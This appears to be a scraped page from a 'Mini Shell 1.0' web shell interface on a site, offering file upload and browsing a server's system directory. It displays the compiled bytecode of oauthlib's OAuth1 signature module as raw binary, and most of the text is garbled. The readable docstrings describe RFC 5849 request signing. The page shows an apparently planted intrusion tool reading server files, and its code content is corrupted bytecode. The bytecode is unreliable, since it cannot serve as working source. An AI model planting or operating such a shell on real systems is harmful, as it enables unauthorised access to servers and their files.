HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/oauthlib/oauth1/rfc5849/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/oauthlib/oauth1/rfc5849/__pycache__/signature.cpython-311.pyc
�

�McL}����dZddlZddlZddlZddlZddlZddlmZddl	Z	ddl
mZmZm
Z
ddlmZeje��Zdededed	efd
�Zd1deded	efd
�Z		d2d�Zd	efd�Zdedededefd�Z		d3defd�Zd�Zd3d�Zd�Zd�Zd3d�Zd�Zdefd�Z 		d3dedefd �Z!iZ"defd!�Z#d"�Z$deded#efd$�Z%ded%efd&�Z&d'�Z'd%efd(�Z(d)�Z)defd*�Z*d%efd+�Z+defd,�Z,d%efd-�Z-d.�Z.d/�Z/d3d0�Z0dS)4a�
This module is an implementation of `section 3.4`_ of RFC 5849.

**Usage**

Steps for signing a request:

1. Collect parameters from the request using ``collect_parameters``.
2. Normalize those parameters using ``normalize_parameters``.
3. Create the *base string URI* using ``base_string_uri``.
4. Create the *signature base string* from the above three components
   using ``signature_base_string``.
5. Pass the *signature base string* and the client credentials to one of the
   sign-with-client functions. The HMAC-based signing functions needs
   client credentials with secrets. The RSA-based signing functions needs
   client credentials with an RSA private key.

To verify a request, pass the request and credentials to one of the verify
functions. The HMAC-based signing functions needs the shared secrets. The
RSA-based verify functions needs the RSA public key.

**Scope**

All of the functions in this module should be considered internal to OAuthLib,
since they are not imported into the "oauthlib.oauth1" module. Programs using
OAuthLib should not use directly invoke any of the functions in this module.

**Deprecated functions**

The "sign_" methods that are not "_with_client" have been deprecated. They may
be removed in a future release. Since they are all internal functions, this
should have no impact on properly behaving programs.

.. _`section 3.4`: https://tools.ietf.org/html/rfc5849#section-3.4
�N)�extract_params�safe_string_equals�	urldecode�)�utils�http_method�base_str_uri�%normalized_encoded_request_parameters�returnc���tj|�����}|dz
}|tj|��z
}|dz
}|tj|��z
}|S)a�
    Construct the signature base string.

    The *signature base string* is the value that is calculated and signed by
    the client. It is also independently calculated by the server to verify
    the signature, and therefore must produce the exact same value at both
    ends or the signature won't verify.

    The rules for calculating the *signature base string* are defined in
    section 3.4.1.1`_ of RFC 5849.

    .. _`section 3.4.1.1`: https://tools.ietf.org/html/rfc5849#section-3.4.1.1
    �&)r�escape�upper)rr	r
�base_strings    �C/usr/lib/python3/dist-packages/oauthlib/oauth1/rfc5849/signature.py�signature_base_stringr6sj��4�,�{�0�0�2�2�3�3�K��3��K��5�<��-�-�-�K��3��K��5�<� E�F�F�F�K����uri�hostc�h�t|t��std���tj|��}|j}|j}|j}|j}|j}|std���|sd}|�	��}|�|�	��}|�=|�	��}|�d|��}tj|��}|j}|j}|�td���	tj|��}n#t$rYnwxYwt|tj��rd|�d�}nt|tj
��r|�}|�d	|cxkrd
ksntd���||fdvr|}n|r|�d
|��}n|}tj||||ddf��}	|	�dd��S)a�
    Calculates the _base string URI_.

    The *base string URI* is one of the components that make up the
     *signature base string*.

    The ``host`` is optional. If provided, it is used to override any host and
    port values in the ``uri``. The value for ``host`` is usually extracted from
    the "Host" request header from the HTTP request. Its value may be just the
    hostname, or the hostname followed by a colon and a TCP/IP port number
    (hostname:port). If a value for the``host`` is provided but it does not
    contain a port number, the default port number is used (i.e. if the ``uri``
    contained a port number, it will be discarded).

    The rules for calculating the *base string URI* are defined in
    section 3.4.1.2`_ of RFC 5849.

    .. _`section 3.4.1.2`: https://tools.ietf.org/html/rfc5849#section-3.4.1.2

    :param uri: URI
    :param host: hostname with optional port number, separated by a colon
    :return: base string URI
    zuri must be a string.zmissing scheme�/Nz://zmissing host�[�]ri��zport out of range))�http�P)�httpsi��:�� z%20)�
isinstance�str�
ValueError�urlparse�scheme�hostname�port�path�params�lower�	ipaddress�
ip_address�IPv6Address�IPv4Address�
urlunparse�replace)
rr�outputr$r%r&r'r(�netloc�vs
          r�base_string_urir3is��2�c�3���2��0�1�1�1��
�s�
#�
#�F�
�]�F���H��;�D��;�D�
�]�F��+��)�*�*�*������\�\�^�^�F����>�>�#�#����
�z�z�|�|���#�#�T�#�#���"�4�(�(���?���{������(�(�(�
��'��1�1�����
�
�
���
�����(�I�1�2�2�!�"�x�?�?�?���	�H�i�3�	4�	4�!��=�����T�!2�!2�!2�!2�U�!2�!2�!2�!2��,�-�-�-���~�7�7�7����	
���%�%�t�%�%�������V�V�T�6�2�r�B�C�C�A�0
�9�9�S�%� � � s�,D�
D�
DrTFc�X��|�g}|pi}g}|r"|�t|����|rhd�|���D��}|�d��}|�3|��fd�t	j|��D����t
|��pg}|�|��g}	|D]E\}
}|
�d��rt	j|��}|	�	|
|f���F|rttd�|	����}	|	S)a�
    Gather the request parameters from all the parameter sources.

    This function is used to extract all the parameters, which are then passed
    to ``normalize_parameters`` to produce one of the components that make up
    the *signature base string*.

    Parameters starting with `oauth_` will be unescaped.

    Body parameters must be supplied as a dict, a list of 2-tuples, or a
    form encoded query string.

    Headers must be supplied as a dict.

    The rules where the parameters must be sourced from are defined in
    `section 3.4.1.3.1`_ of RFC 5849.

    .. _`Sec 3.4.1.3.1`: https://tools.ietf.org/html/rfc5849#section-3.4.1.3.1
    Nc�>�i|]\}}|���|��S�)r)��.0�kr2s   r�
<dictcomp>z&collect_parameters.<locals>.<dictcomp>s&��B�B�B�$�!�Q������A�B�B�Br�
authorizationc�0��g|]}�s|ddk�|��S)r�realmr6)r8�i�
with_realms  �r�
<listcomp>z&collect_parameters.<locals>.<listcomp> s9���H�H�H��)3�H�78��t�w����7F��r�oauth_c��|ddkS)Nr�oauth_signaturer6)r>s r�<lambda>z$collect_parameters.<locals>.<lambda>>s���1��9J�1J�r)�extendr�items�getr�parse_authorization_headerr�
startswith�unescape�append�list�filter)�	uri_query�body�headers�exclude_oauth_signaturer?r(�
headers_lower�authorization_header�
bodyparams�unescaped_paramsr9r2s    `       r�collect_parametersrV�s����*�|����m��G�
�F��,��
�
�i�	�*�*�+�+�+��I�B�B�'�-�-�/�/�B�B�B�
�,�0�0��A�A���+��M�M�H�H�H�H�e�&F�$�'&�'&�H�H�H�
I�
I�
I�" ��%�%�+��J�
�M�M�*�������(�(���1��<�<��!�!�	"���q�!�!�A�����A��'�'�'�'��:���'J�'J�'7�!9�!9�:�:���rc��d�|D��}|���d�|D��}d�|��S)aV
    Calculate the normalized request parameters.

    The *normalized request parameters* is one of the components that make up
    the *signature base string*.

    The rules for parameter normalization are defined in `section 3.4.1.3.2`_ of
    RFC 5849.

    .. _`Sec 3.4.1.3.2`: https://tools.ietf.org/html/rfc5849#section-3.4.1.3.2
    c�d�g|]-\}}tj|��tj|��f��.Sr6�rrr7s   rr@z(normalize_parameters.<locals>.<listcomp>Zs1��H�H�H���A�5�<��?�?�E�L��O�O�4�H�H�Hrc�@�g|]\}}d�||����S)z{}={})�formatr7s   rr@z(normalize_parameters.<locals>.<listcomp>ds*��C�C�C���1�w�~�~�a��+�+�C�C�Crr
)�sort�join)r(�
key_values�parameter_partss   r�normalize_parametersr`DsT��,I�H��H�H�H�J�
�O�O����
D�C�
�C�C�C�O�
�8�8�O�$�$�$r�hash_algorithm_name�sig_base_str�
client_secret�resource_owner_secretc���|}tj|pd��}|dz
}|tj|pd��z
}tjtjtjd�}||}|�d��}|�d��}	tj||	|��}
tj
|
�����dd��d��S)a]
    **HMAC-SHA256**

    The "HMAC-SHA256" signature method uses the HMAC-SHA256 signature
    algorithm as defined in `RFC4634`_::

        digest = HMAC-SHA256 (key, text)

    Per `section 3.4.2`_ of the spec.

    .. _`RFC4634`: https://tools.ietf.org/html/rfc4634
    .. _`section 3.4.2`: https://tools.ietf.org/html/rfc5849#section-3.4.2
    rr
��SHA-1�SHA-256�SHA-512�utf-8N���)
rr�hashlib�sha1�sha256�sha512�encode�hmac�new�binascii�
b2a_base64�digest�decode)rarbrcrd�text�key�m�hash_alg�key_utf8�	text_utf8�	signatures           r�
_sign_hmacr~ns���0�D��,�}�*��
+�
+�C��3�J�C�
�5�<�-�3��4�4�4�C�
���>��>�	�	�A�
�$�%�H�
�z�z�'�"�"�H����G�$�$�I����9�h�7�7�I���y�/�/�1�1�2�2�3�B�3�7�>�>�w�G�G�Grc�
�t|j��}t|j��}t	|j||��}t
||||��}t||j��}|st�
d|��|S)aVerify a HMAC-SHA1 signature.

    Per `section 3.4`_ of the spec.

    .. _`section 3.4`: https://tools.ietf.org/html/rfc5849#section-3.4

    To satisfy `RFC2616 section 5.2`_ item 1, the request argument's uri
    attribute MUST be an absolute URI whose netloc part identifies the
    origin server or gateway on which the resource resides. Any Host
    item of the request argument's headers dict attribute will be
    ignored.

    .. _`RFC2616 section 5.2`: https://tools.ietf.org/html/rfc2616#section-5.2

    z-Verify HMAC failed: signature base string: %s)r`r(r3rrrr~rr}�log�debug)	ra�requestrcrd�norm_params�bs_urirbr}�matchs	         r�_verify_hmacr��s���&'�w�~�6�6�K�
�W�[�
)�
)�F�(��)<�f�)4�6�6�L��.��(�*?�A�A�I��y�'�*;�<�<�E��Q��	�	�A�<�P�P�P��Lrc�:�td||j|j��S�Nrg�r~rcrd�rb�clients  r�sign_hmac_sha1_with_clientr��s&���g�|��*�F�,H�J�J�Jrc�&�td|||��Sr��r��r�rcrds   r�verify_hmac_sha1r��s�����-�9N�O�O�Orc��tjdt��t|t��r|�d��n|}t
d|||��S)aU
    Deprecated function for calculating a HMAC-SHA1 signature.

    This function has been replaced by invoking ``sign_hmac`` with "SHA-1"
    as the hash algorithm name.

    This function was invoked by sign_hmac_sha1_with_client and
    test_signatures.py, but does any application invoke it directly? If not,
    it can be removed.
    z8use sign_hmac_sha1_with_client instead of sign_hmac_sha1�asciirg��warnings�warn�DeprecationWarningr �bytesrvr~�rrcrds   r�sign_hmac_sha1r��sk��
�M�L�$�&�&�&��k�5�)�)�;�+�$�$�W�-�-�-�/:���g�{�#�%:�<�<�<rc�:�td||j|j��S�Nrhr�r�s  r�sign_hmac_sha256_with_clientr��s&���i���*�F�,H�J�J�Jrc�&�td|||��Sr�r�r�s   r�verify_hmac_sha256r��s���	�7�%�'<�>�>�>rc��tjdt��t|t��r|�d��n|}t
d|||��S)a[
    Deprecated function for calculating a HMAC-SHA256 signature.

    This function has been replaced by invoking ``sign_hmac`` with "SHA-256"
    as the hash algorithm name.

    This function was invoked by sign_hmac_sha256_with_client and
    test_signatures.py, but does any application invoke it directly? If not,
    it can be removed.
    z<use sign_hmac_sha256_with_client instead of sign_hmac_sha256r�rhr�r�s   r�sign_hmac_sha256r��sk��
�M�F������k�5�)�)�;�+�$�$�W�-�-�-�/:���i��#�%:�<�<�<rc�:�td||j|j��S�Nrir�r�s  r�sign_hmac_sha512_with_clientr�s&���i���*�F�,H�J�J�Jrc�&�td|||��Sr�r�r�s   r�verify_hmac_sha512r� s ���	�7�%�'<�>�>�>rc���|tvr
t|Sddlm}|jj|jj|jjd�}|�||��}|t|<|S)z�
    Obtains an RSAAlgorithm object that implements RSA with the hash algorithm.

    This method maintains the ``_jwt_rsa`` cache.

    Returns a jwt.algorithm.RSAAlgorithm.
    rNrf)�_jwt_rsa�jwt.algorithms�
algorithms�hashes�SHA1�SHA256�SHA512�RSAAlgorithm)ra�jwt_algorithmsryr2s    r�_get_jwt_rsa_algorithmr�,s����h�&�&��+�,�,�
	0�/�/�/�/�/�#�*�/�%�,�3�%�,�3�
�
��

�'�'��*=�(>�?�?��()��$�%��rc��t|t��r|�d��}|�|��S)a$
    Prepare a PEM encoded key (public or private), by invoking the `prepare_key`
    method on alg with the keystr.

    The keystr should be a string or bytes.  If the keystr is bytes, it is
    decoded as UTF-8 before being passed to prepare_key. Otherwise, it
    is passed directly.
    rj)r r�rv�prepare_key)�alg�keystrs  r�_prepare_key_plusr�Hs9���&�%� � �(����w�'�'���?�?�6�"�"�"r�rsa_private_keyc�6�t|��}|std|jjzdz���|�d��}t||��}|�||��}tj|��dd��	d��S)a
    Calculate the signature for an RSA-based signature method.

    The ``alg`` is used to calculate the digest over the signature base string.
    For the "RSA_SHA1" signature method, the alg must be SHA-1. While OAuth 1.0a
    only defines the RSA-SHA1 signature method, this function can be used for
    other non-standard signature methods that only differ from RSA-SHA1 by the
    digest algorithm.

    Signing for the RSA-SHA1 signature method is defined in
    `section 3.4.3`_ of RFC 5849.

    The RSASSA-PKCS1-v1_5 signature algorithm used defined by
    `RFC3447, Section 8.2`_ (also known as PKCS#1), with the `alg` as the
    hash function for EMSA-PKCS1-v1_5.  To
    use this method, the client MUST have established client credentials
    with the server that included its RSA public key (in a manner that is
    beyond the scope of this specification).

    .. _`section 3.4.3`: https://tools.ietf.org/html/rfc5849#section-3.4.3
    .. _`RFC3447, Section 8.2`: https://tools.ietf.org/html/rfc3447#section-8.2
    z&rsa_private_key required for RSA with z signature methodr�Nrk)
r�r"rz�namerpr��signrsrtrv)rarbr�r�ryrx�ss       r�	_sign_rsar�Vs���8!�!4�
5�
5�C��B��A���*�+�-@�A�B�B�	B�	���G�$�$�A��C��
1�
1�C�����C���A���q�!�!�#�2�#�&�-�-�g�6�6�6r�rsa_public_keyc���	t|j��}t|j��}t	|j||��}t
j|j�	d����}t|��}t||��}|�|�	d��||��}	|	s-t�d|jjzdz|z��|	S#t"$rYdSwxYw)a�
    Verify a base64 encoded signature for a RSA-based signature method.

    The ``alg`` is used to calculate the digest over the signature base string.
    For the "RSA_SHA1" signature method, the alg must be SHA-1. While OAuth 1.0a
    only defines the RSA-SHA1 signature method, this function can be used for
    other non-standard signature methods that only differ from RSA-SHA1 by the
    digest algorithm.

    Verification for the RSA-SHA1 signature method is defined in
    `section 3.4.3`_ of RFC 5849.

    .. _`section 3.4.3`: https://tools.ietf.org/html/rfc5849#section-3.4.3

        To satisfy `RFC2616 section 5.2`_ item 1, the request argument's uri
        attribute MUST be an absolute URI whose netloc part identifies the
        origin server or gateway on which the resource resides. Any Host
        item of the request argument's headers dict attribute will be
        ignored.

        .. _`RFC2616 Sec 5.2`: https://tools.ietf.org/html/rfc2616#section-5.2
    r�zVerify failed: RSA with z: signature base string=%sF)r`r(r3rrrrs�
a2b_base64r}rpr�r��verifyr�r�rzr��UnicodeError)
rar�r�r�r�rb�sigr�rx�	verify_oks
          r�_verify_rsar��s��42�+�7�>�:�:�� ���-�-��,�����6�6��
�!�'�"3�":�":�7�"C�"C�D�D��%�%8�9�9�� ��^�4�4���J�J�|�2�2�7�;�;�S�#�F�F�	��	C��I�I�0�3�<�3D�D�2�3�5A�B�
C�
C�
C���������u�u����s�C#C&�&
C4�3C4c��t|t��r|�d��n|}td||j��S)Nr�rg)r r�rvr��rsa_keyr�s  r�sign_rsa_sha1_with_clientr��sG���l�E�*�*�=�<�&�&�w�/�/�/�0<���W�l�F�N�;�;�;rc�$�td||��Sr��r��r�r�s  r�verify_rsa_sha1r��s���w���8�8�8rc��tjdt��t|t��r|�d��}t
d||��S)aR
    Deprecated function for calculating a RSA-SHA1 signature.

    This function has been replaced by invoking ``sign_rsa`` with "SHA-1"
    as the hash algorithm name.

    This function was invoked by sign_rsa_sha1_with_client and
    test_signatures.py, but does any application invoke it directly? If not,
    it can be removed.
    z4use _sign_rsa("SHA-1", ...) instead of sign_rsa_sha1r�rg)r�r�r�r r�rvr�)rr�s  r�
sign_rsa_sha1r��sW��
�M�H�$�&�&�&��+�u�%�%�2�!�(�(��1�1���W�k�?�;�;�;rc�.�td||j��Sr��r�r�r�s  r�sign_rsa_sha256_with_clientr�����Y��f�n�=�=�=rc�$�td||��Sr�r�r�s  r�verify_rsa_sha256r�����y�'�>�:�:�:rc�.�td||j��Sr�r�r�s  r�sign_rsa_sha512_with_clientr�r�rc�$�td||��Sr�r�r�s  r�verify_rsa_sha512r�r�rc�6�t|j|j��S�N)�sign_plaintextrcrd)�_signature_base_stringr�s  r�sign_plaintext_with_clientr� s���&�.��0L�M�M�Mrc�n�tj|pd��}|dz
}|tj|pd��z
}|S)a�Sign a request using plaintext.

    Per `section 3.4.4`_ of the spec.

    The "PLAINTEXT" method does not employ a signature algorithm.  It
    MUST be used with a transport-layer mechanism such as TLS or SSL (or
    sent over a secure channel with equivalent protections).  It does not
    utilize the signature base string or the "oauth_timestamp" and
    "oauth_nonce" parameters.

    .. _`section 3.4.4`: https://tools.ietf.org/html/rfc5849#section-3.4.4

    rr
rY)rcrdr}s   rr�r�&sF��*��]�0�b�1�1�I����I�
���3�9�r�:�:�:�I��rc��t||��}t||j��}|st�d��|S)z�Verify a PLAINTEXT signature.

    Per `section 3.4`_ of the spec.

    .. _`section 3.4`: https://tools.ietf.org/html/rfc5849#section-3.4
    zVerify PLAINTEXT failed)r�rr}r�r�)r�rcrdr}r�s     r�verify_plaintextr�IsF���}�.C�D�D�I��y�'�*;�<�<�E��-��	�	�+�,�,�,��Lrr�)rNNTF)NN)1�__doc__rsrlrqr*�logging�urllib.parse�parser#r��oauthlib.commonrrrrr�	getLogger�__name__r�r!rr3rVr`r~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r6rr�<module>r�s���"�"�H������������������������������I�I�I�I�I�I�I�I�I�I��������g���!�!��
0��0��0�03�0�8;�0�0�0�0�fA!�A!��A!�C�A!�3�A!�A!�A!�A!�H9=�@E�T�T�T�T�n%%�C�%%�%%�%%�%%�T>H�C�>H� �>H�!�>H�'*�>H�>H�>H�>H�F $�'+���c�����BJ�J�J�
P�P�P�P�<�<�<�6J�J�J�
>�>�>�>�
<�<�<�8J�s�J�J�J�J�-1�48�>�>�&)�>�.1�>�>�>�>���������8#�#�#�;7�3�;7��;7�"�;7�;7�;7�;7�|L�S�L� #�L�L�L�L�b
<�
<�
<�9�S�9�9�9�9�<�<�<�,>�c�>�>�>�>�;�s�;�;�;�;�>�c�>�>�>�>�;�s�;�;�;�;�N�N�N� � � �F�����r